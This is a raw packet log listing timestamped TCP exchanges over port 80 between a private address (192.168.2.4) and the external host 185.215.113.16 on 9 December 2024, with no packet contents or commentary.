Dec 9, 2024 23:09:36.229551077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.229604006 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.230321884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.230448008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.230494976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.231237888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.231288910 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.231340885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.231440067 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.232006073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.232100964 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.232101917 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.232162952 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.232841015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.232888937 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.232959032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.233061075 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.233697891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.233747959 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.233802080 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.233844042 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.234541893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.234594107 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.234657049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.234711885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.235378981 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.235425949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.235435009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.235474110 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.236252069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.236351013 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.236386061 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.236506939 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.237107992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.237159014 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.237195969 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.237236023 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.237979889 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.238028049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.238042116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.238102913 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.238794088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.238835096 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.238922119 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.238965988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.239664078 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.239703894 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.239767075 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.239975929 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.240570068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.240614891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.240636110 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.240657091 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.241471052 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.241568089 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.241620064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.241666079 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.242285967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.242444038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.242482901 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.243130922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.243273020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.243316889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.243906975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.243977070 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.244012117 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.244061947 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.244716883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.244769096 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.244807959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.244967937 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.245549917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.245598078 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.245663881 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.245699883 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.246470928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.246531010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.246589899 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.247370005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.247391939 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.247421980 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.247447014 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.248111010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.248152018 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.248411894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.248852968 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.248996019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.249038935 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.249067068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.249135017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.249891043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.249948978 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.249955893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.250024080 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.250650883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.250725985 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.250766039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.250807047 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.251573086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.251616001 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.251792908 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.251831055 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.252377987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.252464056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.252509117 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.253200054 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.253241062 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.253309965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.253349066 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.254059076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.254098892 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.254128933 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.254196882 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.254887104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.254930973 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.255038977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.255163908 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.255753040 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.255793095 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.255870104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.255906105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.256597042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.256639957 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.256705999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.256743908 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.257424116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.257466078 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.257523060 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.257554054 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.258275032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.258318901 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.258398056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.258727074 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.259169102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.259210110 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.259212971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.259288073 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.259996891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.260107994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.260149002 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.367602110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.367646933 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.367721081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.367978096 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.368093967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.368164062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.368206024 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.368957043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.369009972 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.369081020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.369163036 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.369867086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.369910002 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.411324024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.411348104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.411393881 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.411582947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.411622047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.411631107 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.411672115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.412425995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.412484884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.412564993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.412602901 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.413343906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.413383961 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.413547993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.413624048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.413664103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.414417982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.414462090 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.414674997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.414712906 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.415451050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.415524960 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.415570021 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.416193008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.416266918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.416851997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.416893005 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.417052031 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.417110920 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.417823076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.417875051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.417975903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.418121099 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.418602943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.418649912 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.418657064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.418695927 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.419449091 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.419496059 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.419564009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.419605017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.420293093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.420387983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.420438051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.421123028 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.421169996 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.421211004 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.421252012 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.421955109 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.422043085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.422080994 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.422799110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.422862053 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.422902107 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.423696995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.423825979 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.423831940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.423979044 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.424571991 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.424611092 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.424652100 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.424689054 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.425375938 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.425532103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.425578117 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.426194906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.426240921 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.426315069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.426361084 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.427088022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.427129984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.427207947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.427876949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.427911997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.427958012 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.428025007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.428064108 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.428811073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.428859949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.429018021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.429084063 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.429727077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.429769039 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.429879904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.429938078 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.430476904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.430588007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.430630922 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.431265116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.431426048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.431466103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.432121992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.432251930 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.432300091 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.432987928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.433037996 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.433090925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.433135986 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.433840036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.433887959 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.433895111 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.434106112 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.434740067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.434884071 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.434922934 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.435516119 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.435619116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.435658932 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.436415911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.436465979 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.436634064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.436685085 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.437369108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.437484026 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.437555075 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.437591076 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.438059092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.438185930 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.438225985 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.438946962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.439114094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.439151049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.439796925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.439944029 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.440002918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.440157890 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.440645933 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.440727949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.440840006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.440983057 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.441473007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.441523075 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.441555977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.441623926 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.442349911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.442393064 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.442497015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.442549944 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.443320036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.443440914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.443483114 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.444026947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.444094896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.444844961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.444861889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.444961071 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.445004940 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.445708990 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.445754051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.445822954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.446544886 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.446554899 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.446588039 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.446671963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.446712017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.447454929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.447511911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.447546959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.447586060 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.448235989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.448308945 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.448350906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.448538065 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.449085951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.449141979 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.449187994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.449295998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.449927092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.449978113 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.450047016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.450086117 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.450797081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.450844049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.450859070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.450896978 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.451662064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.451725960 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.451767921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.451807976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.452512980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.452563047 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.559726954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.559847116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.559906960 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:36.560102940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.560290098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:36.560393095 CET	80	49838	185.215.113.16	192.168.2.4
